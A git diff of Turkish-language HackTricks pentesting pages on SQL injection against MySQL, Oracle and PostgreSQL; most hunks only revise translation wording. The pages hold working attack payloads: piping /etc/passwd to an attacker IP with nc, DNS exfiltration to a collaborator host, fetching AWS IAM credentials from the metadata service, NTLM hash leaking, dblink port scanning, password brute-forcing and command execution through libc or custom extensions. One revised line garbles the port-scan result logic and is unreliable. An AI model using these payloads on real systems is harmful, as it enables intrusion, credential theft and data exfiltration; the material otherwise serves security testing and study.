**Bu, [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) adresinden alınan MySQL/MariaDB/Percona tekniklerinin bir özetidir.**
|
||||
**Bu, [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) adresinden MySQL/MariaDB/Percona tekniklerinin bir özetidir.**
|
||||
|
||||
### SQL Fonksiyonları ile Sunucu Tarafı İstek Sahteciliği (SSRF)
|
||||
|
||||
SQL Dışarıdan Veri Sızdırma keşfinde, `LOAD_FILE()` fonksiyonu genellikle ağ isteklerini başlatmak için kullanılır. Ancak, bu fonksiyon çalıştığı işletim sistemi ve veritabanının başlangıç yapılandırmaları ile sınırlıdır.
|
||||
SQL Dışarıdan Veri Sızdırma keşfi sırasında, `LOAD_FILE()` fonksiyonu genellikle ağ isteklerini başlatmak için kullanılır. Ancak, bu fonksiyon çalıştığı işletim sistemi ve veritabanının başlangıç yapılandırmaları ile sınırlıdır.
|
||||
|
||||
`secure_file_priv` global değişkeni ayarlanmamışsa, varsayılan olarak `/var/lib/mysql-files/` dizinine ayarlanır ve dosya erişimi bu dizinle sınırlıdır, boş bir dize (`""`) olarak ayarlanmadıkça. Bu ayar, veritabanının yapılandırma dosyasında veya başlangıç parametrelerinde değişiklik yapılmasını gerektirir.
|
||||
`secure_file_priv` global değişkeni ayarlanmamışsa, varsayılan olarak `/var/lib/mysql-files/` dizinine ayarlanır ve dosya erişimi bu dizinle sınırlıdır, boş bir dize (`""`) olarak ayarlanmadıkça. Bu ayarlama, veritabanının yapılandırma dosyasında veya başlangıç parametrelerinde değişiklikler gerektirir.
|
||||
|
||||
`secure_file_priv` devre dışı bırakıldığında (`""`), gerekli dosya ve `file_priv` izinleri verildiğinde, belirlenen dizin dışındaki dosyalar okunabilir. Ancak, bu fonksiyonların ağ çağrıları yapabilme yeteneği büyük ölçüde işletim sistemine bağlıdır. Windows sistemlerinde, işletim sisteminin UNC adlandırma kurallarını anlaması nedeniyle UNC yollarına ağ çağrıları mümkündür ve bu, NTLMv2 hash'lerinin sızdırılmasına yol açabilir.
|
||||
|
||||
@ -20,9 +20,9 @@ MySQL veritabanları, dış kütüphane dosyalarından Kullanıcı Tanımlı Fon
|
||||
|
||||
Bu teknik, `@@plugin_dir`'ye yazma erişimi, `file_priv`'in `Y` olarak ayarlanması ve `secure_file_priv`'in devre dışı bırakılması gibi birkaç koşul sağlandığında, bir UDF aracılığıyla ağ/HTTP isteklerinin gerçekleştirilmesine olanak tanır.
|
||||
|
||||
Örneğin, `lib_mysqludf_sys` kütüphanesi veya HTTP isteklerini etkinleştiren diğer UDF kütüphaneleri, SSRF gerçekleştirmek için yüklenebilir. Kütüphaneler sunucuya aktarılmalı ve bu, kütüphanenin içeriğinin hex veya base64 kodlaması yapılarak uygun dizine yazılmasıyla gerçekleştirilebilir.
|
||||
Örneğin, `lib_mysqludf_sys` kütüphanesi veya HTTP isteklerini etkinleştiren diğer UDF kütüphaneleri, SSRF gerçekleştirmek için yüklenebilir. Kütüphaneler, kütüphanenin içeriğinin hex veya base64 kodlaması ile sunucuya aktarılması ve ardından uygun dizine yazılması yoluyla aktarılmalıdır.
|
||||
|
||||
`@@plugin_dir` yazılabilir değilse, özellikle `v5.0.67` üzerindeki MySQL sürümleri için süreç değişir. Bu gibi durumlarda, yazılabilir alternatif yollar kullanılmalıdır.
|
||||
`@@plugin_dir` yazılabilir değilse, süreç değişir, özellikle `v5.0.67` üzerindeki MySQL sürümleri için. Bu gibi durumlarda, yazılabilir alternatif yollar kullanılmalıdır.
|
||||
|
||||
Bu süreçlerin otomasyonu, UDF enjeksiyonunu destekleyen SQLMap gibi araçlarla kolaylaştırılabilir ve kör SQL enjeksiyonları için çıktı yönlendirme veya DNS istek kaçırma teknikleri kullanılabilir.
|
||||
|
||||
|
||||
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Bu gönderiyi [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) adresindeki silinmiş gönderinin wayback machine kopyasıyla sunun.**
|
||||
**Bu gönderiyi [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) adresindeki silinmiş gönderinin wayback makinesi kopyasıyla sunun.**
|
||||
|
||||
## SSRF
|
||||
|
||||
Oracle kullanarak Out of Band HTTP ve DNS istekleri yapmak iyi belgelenmiştir, ancak bu, enjeksiyonlarda SQL verilerini dışarı sızdırmanın bir yolu olarak kullanılmaktadır. Bu teknikleri/fonksiyonları her zaman diğer SSRF/XSPA'ları yapmak için değiştirebiliriz.
|
||||
Oracle kullanarak Out of Band HTTP ve DNS istekleri yapmak iyi belgelenmiştir, ancak bu, enjeksiyonlarda SQL verilerini dışarı sızdırmanın bir yolu olarak kullanılır. Bu teknikleri/fonksiyonları her zaman diğer SSRF/XSPA'ları yapmak için değiştirebiliriz.
|
||||
|
||||
Oracle kurmak gerçekten acı verici olabilir, özellikle de komutları denemek için hızlı bir örnek kurmak istiyorsanız. Arkadaşım ve [Appsecco](https://appsecco.com) ile iş arkadaşım [Abhisek Datta](https://github.com/abhisek), t2.large AWS Ubuntu makinesinde ve Docker ile bir örnek kurmamı sağlayan [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) adresini bana gösterdi.
|
||||
|
||||
@ -37,7 +37,7 @@ Arama aşağıdaki sonuçları döndürdü (hepsi dışa ağ bağlantısı gerç
|
||||
- DBMS_STREAMS_ADM
|
||||
- UTL_HTTP
|
||||
|
||||
Bu kaba arama, açıkça `DBMS_LDAP` gibi paketleri atlıyor (bir ana bilgisayar adı ve port numarası geçişine izin verir) çünkü [belgelendirme sayfası](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) sizi [farklı bir konuma](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) yönlendiriyor. Bu nedenle, dışa talepler yapmak için kötüye kullanılabilecek başka Oracle paketleri de olabilir, bunları atlamış olabilirim.
|
||||
Bu kaba arama açıkça `DBMS_LDAP` gibi paketleri atlıyor (bir ana bilgisayar adı ve port numarası geçişine izin verir) çünkü [belgelendirme sayfası](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) sizi [farklı bir konuma](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) yönlendiriyor. Bu nedenle, dışa istekler yapmak için kötüye kullanılabilecek başka Oracle paketleri de olabilir, bunları atlamış olabilirim.
|
||||
|
||||
Her durumda, keşfettiğimiz ve yukarıda listelediğimiz bazı paketlere bir göz atalım.
|
||||
|
||||
@ -45,11 +45,11 @@ Her durumda, keşfettiğimiz ve yukarıda listelediğimiz bazı paketlere bir g
|
||||
|
||||
`DBMS_LDAP` paketi, LDAP sunucularından veri erişimine izin verir. `init()` fonksiyonu, bir LDAP sunucusuyla bir oturum başlatır ve bir ana bilgisayar adı ve port numarasını argüman olarak alır.
|
||||
|
||||
Bu fonksiyon, aşağıda olduğu gibi DNS üzerinden veri sızdırma gösterimi için daha önce belgelenmiştir.
|
||||
Bu fonksiyon, aşağıdaki gibi DNS üzerinden veri sızdırma gösteren belgelenmiştir.
|
||||
```
|
||||
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
|
||||
```
|
||||
Ancak, fonksiyonun bir ana bilgisayar adı ve bir port numarasını argüman olarak kabul ettiğini göz önünde bulundurursak, bunu bir port tarayıcı gibi çalışmak için de kullanabilirsiniz.
|
||||
Ancak, fonksiyonun bir ana bilgisayar adı ve bir port numarasını argüman olarak kabul ettiğini göz önünde bulundurursak, bunu bir port tarayıcı gibi çalıştırmak için de kullanabilirsiniz.
|
||||
|
||||
İşte birkaç örnek
|
||||
```
|
||||
@ -58,7 +58,7 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
|
||||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
|
||||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
|
||||
```
|
||||
`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` hatası, portun kapalı olduğunu gösterirken, bir oturum değeri portun açık olduğunu işaret eder.
|
||||
`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` hatası, bir oturum değerinin portun açık olduğunu göstermesine rağmen portun kapalı olduğunu gösterir.
|
||||
|
||||
**UTL_SMTP**
|
||||
|
||||
@ -82,9 +82,9 @@ END;
|
||||
|
||||
**UTL_TCP**
|
||||
|
||||
`UTL_TCP` paketi ve prosedürleri ile fonksiyonları, [hizmetlerle TCP/IP tabanlı iletişim sağlar](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Belirli bir hizmet için programlandığında, bu paket ağa giriş yapmak veya tüm Sunucu Tarafı İsteklerini gerçekleştirmek için kolayca bir yol haline gelebilir çünkü bir TCP/IP bağlantısının tüm yönleri kontrol edilebilir.
|
||||
`UTL_TCP` paketi ve prosedürleri ile fonksiyonları, [hizmetlerle TCP/IP tabanlı iletişim](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190) sağlar. Belirli bir hizmet için programlandığında, bu paket ağa giriş yapmak veya tüm Sunucu Tarafı İsteklerini gerçekleştirmek için kolayca bir yol haline gelebilir, çünkü bir TCP/IP bağlantısının tüm yönleri kontrol edilebilir.
|
||||
|
||||
Oracle dokümantasyon sitesindeki [örnek, bu paketi kullanarak bir web sayfasını almak için ham bir TCP bağlantısı nasıl yapılacağını göstermektedir](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Bunu biraz daha basitleştirip, örneğin, metadata örneğine veya keyfi bir TCP/IP hizmetine istek yapmak için kullanabiliriz.
|
||||
Oracle dokümantasyon sitesindeki [örnek, bu paketi kullanarak bir web sayfasını almak için ham bir TCP bağlantısı nasıl yapılacağını göstermektedir](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Bunu biraz daha basitleştirip, örneğin metadata örneğine veya keyfi bir TCP/IP hizmetine istek yapmak için kullanabiliriz.
|
||||
```
|
||||
set serveroutput on size 30000;
|
||||
SET SERVEROUTPUT ON
|
||||
@ -128,7 +128,7 @@ END;
|
||||
|
||||
**UTL_HTTP ve Web İstekleri**
|
||||
|
||||
Belki de her Out of Band Oracle SQL Injection eğitiminde en yaygın ve geniş bir şekilde belgelenmiş teknik [`UTL_HTTP` paketi](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070) dir. Bu paket, belgelerde şu şekilde tanımlanmıştır - `UTL_HTTP paketi, SQL ve PL/SQL'den Hypertext Transfer Protocol (HTTP) çağrıları yapar. HTTP üzerinden İnternetteki verilere erişmek için kullanabilirsiniz.`
|
||||
Belki de her Out of Band Oracle SQL Injection eğitiminde en yaygın ve en çok belgelenmiş teknik [`UTL_HTTP` paketi](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070) dir. Bu paket, belgelerde şu şekilde tanımlanmıştır - `UTL_HTTP paketi, SQL ve PL/SQL'den Hypertext Transfer Protocol (HTTP) çağrıları yapar. HTTP üzerinden İnternetteki verilere erişmek için kullanabilirsiniz.`
|
||||
```
|
||||
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
||||
```
|
||||
|
||||
@ -40,7 +40,7 @@ id=1; select pg_sleep(10);-- -
|
||||
|
||||
**query_to_xml**
|
||||
|
||||
Bu fonksiyon, tüm verileri XML formatında tek bir dosyada döndürecektir. Tek bir satırda çok fazla veri dökmek istiyorsanız idealdir:
|
||||
Bu fonksiyon, tüm verileri yalnızca bir dosya halinde XML formatında döndürecektir. Tek bir satırda çok fazla veri dökmek istiyorsanız idealdir:
|
||||
```sql
|
||||
SELECT query_to_xml('select * from pg_user',true,true,'');
|
||||
```
|
||||
@ -52,7 +52,7 @@ SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
### Hex'teki Dize
|
||||
|
||||
Eğer **sorguları** **bir dize içinde** geçirebiliyorsanız (örneğin **`query_to_xml`** fonksiyonunu kullanarak). **Dizeyi hex olarak geçmek ve bu şekilde filtreleri atlatmak için convert_from'u kullanabilirsiniz:**
|
||||
Eğer **sorguları** **bir dize içinde** çalıştırabiliyorsanız (örneğin **`query_to_xml`** fonksiyonunu kullanarak). **Dizeyi hex olarak geçmek ve bu şekilde filtreleri atlatmak için convert_from kullanabilirsiniz:**
|
||||
```sql
|
||||
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
|
||||
|
||||
|
||||
@ -15,7 +15,7 @@ Her dosyayı Base64 veya Hex formatına kodlamak için aşağıdaki komutlar kul
|
||||
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
|
||||
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
|
||||
```
|
||||
**Önemli**: Bu süreci otomatikleştirirken, 2KB'lık açık metin baytları parçaları göndermeyi garanti edin. Hex kodlu dosyalar, boyutlarının iki katına çıkması nedeniyle her parça için 4KB veri gerektirirken, Base64 kodlu dosyalar `ceil(n / 3) * 4` formülünü takip eder.
|
||||
**Önemli**: Bu süreci otomatikleştirirken, 2KB'lık açık metin baytları parçaları göndermeyi garanti edin. Hex kodlu dosyalar, boyutun iki katına çıkması nedeniyle her parça için 4KB veri gerektirirken, Base64 kodlu dosyalar `ceil(n / 3) * 4` formülünü takip eder.
|
||||
|
||||
Büyük nesnelerin içeriği, hata ayıklama amaçları için şu şekilde görüntülenebilir:
|
||||
```sql
|
||||
@ -28,7 +28,7 @@ select loid, pageno, encode(data, 'escape') from pg_largeobject;
|
||||
SELECT lo_creat(-1); -- Creates a new, empty large object
|
||||
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
|
||||
```
|
||||
Kesin kontrol gerektiren durumlarda, örneğin Blind SQL Injection istismarında, `lo_create` sabit bir LOID belirtmek için tercih edilir.
|
||||
Hassas kontrol gerektiren durumlarda, örneğin Blind SQL Injection istismarında, sabit bir LOID belirtmek için `lo_create` tercih edilir.
|
||||
|
||||
Veri parçaları daha sonra şu şekilde eklenebilir:
|
||||
```sql
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Bu, veritabanındaki dosyaları `lo_import` ile yükleyip `dblink_connect` kullanarak sızdırmanın bir örneğidir.**
|
||||
**Bu, veritabanına dosyalar yükleyerek verileri `lo_import` ile sızdırmanın ve bunları `dblink_connect` kullanarak sızdırmanın bir örneğidir.**
|
||||
|
||||
**Çözümü kontrol edin:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Daha fazla bilgi için** [**bu saldırılar hakkında orijinal makaleye göz atın**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).
|
||||
**Daha fazla bilgi için** [**bu saldırılar hakkında orijinal belgede**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt) bulun.
|
||||
|
||||
**PostgreSQL 9.1**'den itibaren, ek modüllerin kurulumu basittir. [`dblink` gibi kayıtlı uzantılar](https://www.postgresql.org/docs/current/contrib.html) [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html) ile kurulabilir:
|
||||
```sql
|
||||
@ -25,7 +25,7 @@ Başka bir olası yanlış yapılandırma, bunun gibi bir şeydir:
|
||||
```
|
||||
host all all 127.0.0.1/32 trust
|
||||
```
|
||||
Herkesin localhost'tan herhangi bir kullanıcı olarak veritabanına bağlanmasına izin verecektir.\
|
||||
Bu, localhost'tan herkesin herhangi bir kullanıcı olarak veritabanına bağlanmasına izin verecektir.\
|
||||
Bu durumda ve eğer **`dblink`** fonksiyonu **çalışıyorsa**, zaten kurulmuş bir bağlantı üzerinden veritabanına bağlanarak **yetki yükseltme** yapabilir ve erişim izni olmayan verilere erişebilirsiniz:
|
||||
```sql
|
||||
SELECT * FROM dblink('host=127.0.0.1
|
||||
@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT);
|
||||
```
|
||||
### Port Scanning
|
||||
|
||||
`dblink_connect`'i kötüye kullanarak **açık portları** da arayabilirsiniz. Eğer bu \*\*fonksiyon çalışmıyorsa, belgelerde `dblink_connect_u()`'nun `dblink_connect()` ile aynı olduğu, ancak süper kullanıcı olmayanların herhangi bir kimlik doğrulama yöntemi kullanarak bağlanmasına izin vereceği belirtiliyor, denemelisiniz.
|
||||
`dblink_connect`'i kötüye kullanarak **açık portları arayabilirsiniz**. Eğer bu \*\*fonksiyon çalışmıyorsa, belgelerde `dblink_connect_u()`'nun `dblink_connect()` ile aynı olduğu, ancak süper kullanıcı olmayanların herhangi bir kimlik doğrulama yöntemi kullanarak bağlanmasına izin vereceği belirtiliyor, denemelisiniz\_.
|
||||
```sql
|
||||
SELECT * FROM dblink_connect('host=216.58.212.238
|
||||
port=443
|
||||
@ -73,7 +73,7 @@ Not edin ki `dblink_connect` veya `dblink_connect_u` kullanmadan **önce** şunu
|
||||
```
|
||||
CREATE extension dblink;
|
||||
```
|
||||
### UNC yolu - NTLM hash ifşası
|
||||
### UNC yolu - NTLM hash sızıntısı
|
||||
```sql
|
||||
-- can be used to leak hashes to Responder/equivalent
|
||||
CREATE TABLE test();
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Bu saldırılar hakkında [daha fazla bilgi için orijinal makaleye bakın](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.
|
||||
**[Bu saldırılar hakkında daha fazla bilgi için orijinal makaleye bakın](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.
|
||||
|
||||
PL/pgSQL, **SQL'in yeteneklerini aşan** ve **gelişmiş prosedürel kontrol** sunan **tam özellikli bir programlama dilidir**. Bu, döngülerin ve çeşitli kontrol yapıların kullanımını içerir. PL/pgSQL dilinde oluşturulan fonksiyonlar, SQL ifadeleri ve tetikleyiciler tarafından çağrılabilir, bu da veritabanı ortamındaki işlemlerin kapsamını genişletir.
|
||||
|
||||
@ -71,7 +71,7 @@ select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
||||
```
|
||||
_Not edin 4 karakteri brute-force etmek bile birkaç dakika sürebilir._
|
||||
|
||||
Ayrıca **bir kelime listesi indirebilir** ve yalnızca o şifreleri deneyebilirsiniz (sözlük saldırısı):
|
||||
Ayrıca **bir kelime listesi indirebilir** ve yalnızca bu şifreleri deneyebilirsiniz (sözlük saldırısı):
|
||||
```sql
|
||||
//Create the function
|
||||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||||
|
||||
@ -6,15 +6,15 @@
|
||||
|
||||
PostgreSQL, genişletilebilirliği temel bir özellik olarak geliştirilmiştir ve uzantıları, sanki yerleşik işlevler gibi sorunsuz bir şekilde entegre etmesine olanak tanır. Bu uzantılar, esasen C dilinde yazılmış kütüphaneler olup, veritabanını ek işlevler, operatörler veya türlerle zenginleştirir.
|
||||
|
||||
8.1 sürümünden itibaren, uzantı kütüphaneleri için belirli bir gereklilik getirilmiştir: özel bir başlık ile derlenmeleri gerekmektedir. Bunu yapmadan PostgreSQL, bunları çalıştırmayacak ve yalnızca uyumlu ve potansiyel olarak güvenli uzantıların kullanılmasını sağlayacaktır.
|
||||
8.1 sürümünden itibaren, uzantı kütüphaneleri için belirli bir gereklilik getirilmiştir: özel bir başlık ile derlenmelidirler. Bunu yapmadan PostgreSQL, bunları çalıştırmayacak ve yalnızca uyumlu ve potansiyel olarak güvenli uzantıların kullanılmasını sağlayacaktır.
|
||||
|
||||
Ayrıca, **eğer nasıl yapacağınızı bilmiyorsanız** [**PostgreSQL'i kötüye kullanarak kurbanın dosyalarını yüklemeyi okumalısınız.**](big-binary-files-upload-postgresql.md)
|
||||
Ayrıca, **eğer nasıl yapılacağını bilmiyorsanız** [**PostgreSQL'i kötüye kullanarak kurbanın dosyalarını yüklemeyi okumalısınız.**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
### RCE in Linux
|
||||
|
||||
**Daha fazla bilgi için kontrol edin: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||
|
||||
PostgreSQL 8.1 ve önceki sürümlerden sistem komutlarının yürütülmesi, açıkça belgelenmiş ve basit bir süreçtir. Bunu kullanmak mümkündür: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
PostgreSQL 8.1 ve önceki sürümlerden sistem komutlarının yürütülmesi, açıkça belgelenmiş ve basit bir süreçtir. Bunu kullanmak mümkündür: [Metasploit modülü](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||
@ -26,7 +26,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>Base64'ten ikili dosya yazma</summary>
|
||||
<summary>Base64 ile ikili dosya yazma</summary>
|
||||
|
||||
Postgres'te bir ikili dosyayı yazmak için base64 kullanmanız gerekebilir, bu konuda faydalı olacaktır:
|
||||
```sql
|
||||
@ -75,13 +75,13 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
```
|
||||
Bu hata [PostgreSQL belgelerinde](https://www.postgresql.org/docs/current/static/xfunc-c.html) açıklanmaktadır:
|
||||
|
||||
> Dinamik olarak yüklenen bir nesne dosyasının uyumsuz bir sunucuya yüklenmediğinden emin olmak için, PostgreSQL dosyanın uygun içeriklere sahip bir "sihirli blok" içerip içermediğini kontrol eder. Bu, sunucunun PostgreSQL'in farklı ana sürümü için derlenmiş kod gibi belirgin uyumsuzlukları tespit etmesine olanak tanır. PostgreSQL 8.2'den itibaren bir sihirli blok gereklidir. Bir sihirli blok eklemek için, bu modül kaynak dosyalarından birine (ve yalnızca birine) fmgr.h başlığını ekledikten sonra şunu yazın:
|
||||
> Dinamik olarak yüklenen bir nesne dosyasının uyumsuz bir sunucuya yüklenmediğinden emin olmak için, PostgreSQL dosyanın uygun içeriklere sahip bir "sihirli blok" içerip içermediğini kontrol eder. Bu, sunucunun PostgreSQL'in farklı ana sürümü için derlenmiş kod gibi belirgin uyumsuzlukları tespit etmesine olanak tanır. PostgreSQL 8.2 itibarıyla bir sihirli blok gereklidir. Bir sihirli blok eklemek için, bu modül kaynak dosyalarından birine, fmgr.h başlığını ekledikten sonra şunu yazın:
|
||||
>
|
||||
> `#ifdef PG_MODULE_MAGIC`\
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
> `#endif`
|
||||
|
||||
PostgreSQL sürüm 8.2'den itibaren, bir saldırganın sistemi istismar etme süreci daha zor hale getirilmiştir. Saldırganın ya sistemde zaten mevcut bir kütüphaneyi kullanması ya da özel bir kütüphane yüklemesi gerekmektedir. Bu özel kütüphane, uyumlu ana PostgreSQL sürümüne karşı derlenmeli ve belirli bir "sihirli blok" içermelidir. Bu önlem, PostgreSQL sistemlerini istismar etmeyi önemli ölçüde zorlaştırır, çünkü sistemin mimarisi ve sürüm uyumluluğu hakkında daha derin bir anlayış gerektirir.
|
||||
PostgreSQL 8.2 sürümünden itibaren, bir saldırganın sistemi istismar etme süreci daha zor hale getirilmiştir. Saldırganın ya sistemde zaten mevcut bir kütüphaneyi kullanması ya da özel bir kütüphane yüklemesi gerekmektedir. Bu özel kütüphane, uyumlu ana PostgreSQL sürümüne karşı derlenmeli ve belirli bir "sihirli blok" içermelidir. Bu önlem, PostgreSQL sistemlerini istismar etmeyi önemli ölçüde zorlaştırır, çünkü sistemin mimarisi ve sürüm uyumluluğu hakkında daha derin bir anlayış gerektirir.
|
||||
|
||||
#### Kütüphaneyi derleyin
|
||||
|
||||
@ -92,7 +92,7 @@ PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0
|
||||
```
|
||||
Uyumluluk için, ana sürümlerin uyumlu olması gereklidir. Bu nedenle, 9.6.x serisindeki herhangi bir sürümle bir kütüphane derlemek, başarılı bir entegrasyonu sağlamalıdır.
|
||||
|
||||
Bu sürümü sisteminize kurmak için:
|
||||
O sürümü sisteminize kurmak için:
|
||||
```bash
|
||||
apt install postgresql postgresql-server-dev-9.6
|
||||
```
|
||||
@ -125,7 +125,7 @@ Bu **kütüphaneyi önceden derlenmiş** olarak çeşitli PostgreSQL sürümleri
|
||||
|
||||
### Windows'ta RCE
|
||||
|
||||
Aşağıdaki DLL, **ikili dosyanın adını** ve **kaç kez** çalıştırmak istediğinizi **girdi** olarak alır ve çalıştırır:
|
||||
Aşağıdaki DLL, **ikili dosyanın adını** ve çalıştırmak istediğiniz **kez sayısını** girdi olarak alır ve bunu çalıştırır:
|
||||
```c
|
||||
#include "postgres.h"
|
||||
#include <string.h>
|
||||
|
||||
@ -12,7 +12,7 @@ Onları **çalıştırabilirsiniz**:
|
||||
|
||||
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
|
||||
```
|
||||
PostgreSQL'de kurabileceğiniz çoğu betik dili **2 çeşide** sahiptir: **güvenilir** ve **güvensiz**. **Güvensiz** olanların adı **"u" ile biter** ve kod **çalıştırmanıza** ve diğer ilginç işlevleri kullanmanıza izin veren versiyondur. Kurulduğunda ilginç olan diller şunlardır:
|
||||
PostgreSQL'de kurabileceğiniz çoğu betik dili **2 çeşide** sahiptir: **güvenilir** ve **güvensiz**. **Güvensiz** olanların adı **"u" ile biter** ve kod **çalıştırmanıza** ve diğer ilginç işlevleri kullanmanıza izin veren versiyonlardır. Kurulduğunda ilginç olan diller şunlardır:
|
||||
|
||||
- **plpythonu**
|
||||
- **plpython3u**
|
||||
@ -22,7 +22,7 @@ PostgreSQL'de kurabileceğiniz çoğu betik dili **2 çeşide** sahiptir: **güv
|
||||
- ... (güvensiz bir versiyon kullanan başka herhangi bir programlama dili)
|
||||
|
||||
> [!WARNING]
|
||||
> Eğer ilginç bir dilin **kurulu** ancak PostgreSQL tarafından **güvensiz** olduğunu bulursanız (**`lanpltrusted`** **`false`** ise) PostgreSQL tarafından herhangi bir kısıtlama uygulanmaması için aşağıdaki satırla **güvenilir** hale getirmeyi deneyebilirsiniz:
|
||||
> Eğer ilginç bir dilin **kurulu** ama PostgreSQL tarafından **güvensiz** olduğunu bulursanız (**`lanpltrusted`** **`false`** ise) PostgreSQL tarafından herhangi bir kısıtlama uygulanmaması için aşağıdaki satırla **güvenilir** hale getirmeyi deneyebilirsiniz:
|
||||
>
|
||||
> ```sql
|
||||
> UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
|
||||
@ -189,7 +189,7 @@ SELECT findx("/"); #Find an executables in folder (recursively)
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Find exec by subs"}}
|
||||
{{#tab name="Exec bulma"}}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
||||
@ -118,10 +118,10 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| appendnullbyte.py | Payload'un sonuna kodlanmış NULL byte karakteri ekler |
|
||||
| base64encode.py | Verilen payload'daki tüm karakterleri Base64 ile kodlar |
|
||||
| between.py | 'BÜYÜK' operatörünü \('>'\) 'NOT BETWEEN 0 AND \#' ile değiştirir |
|
||||
| bluecoat.py | SQL ifadesinden sonra boşluk karakterini geçerli rastgele boş karakter ile değiştirir. Sonrasında '=' karakterini LIKE operatörü ile değiştirir |
|
||||
| bluecoat.py | SQL ifadesinden sonra boşluk karakterini geçerli rastgele boş karakter ile değiştirir. Sonrasında karakter = ile LIKE operatörünü değiştirir |
|
||||
| chardoubleencode.py | Verilen payload'daki tüm karakterleri çift url-kodlar \(zaten kodlanmış olanları işlememektedir\) |
|
||||
| commalesslimit.py | 'LIMIT M, N' gibi örnekleri 'LIMIT N OFFSET M' ile değiştirir |
|
||||
| commalessmid.py | 'MID\(A, B, C\)' gibi örnekleri 'MID\(A FROM B FOR C\)' ile değiştirir |
|
||||
| commalessmid.py | 'MID\(A, B, C\)' gibi örnekleri 'MID\(A FROM B FOR C\)' ile değiştirir |
|
||||
| concat2concatws.py | 'CONCAT\(A, B\)' gibi örnekleri 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' ile değiştirir |
|
||||
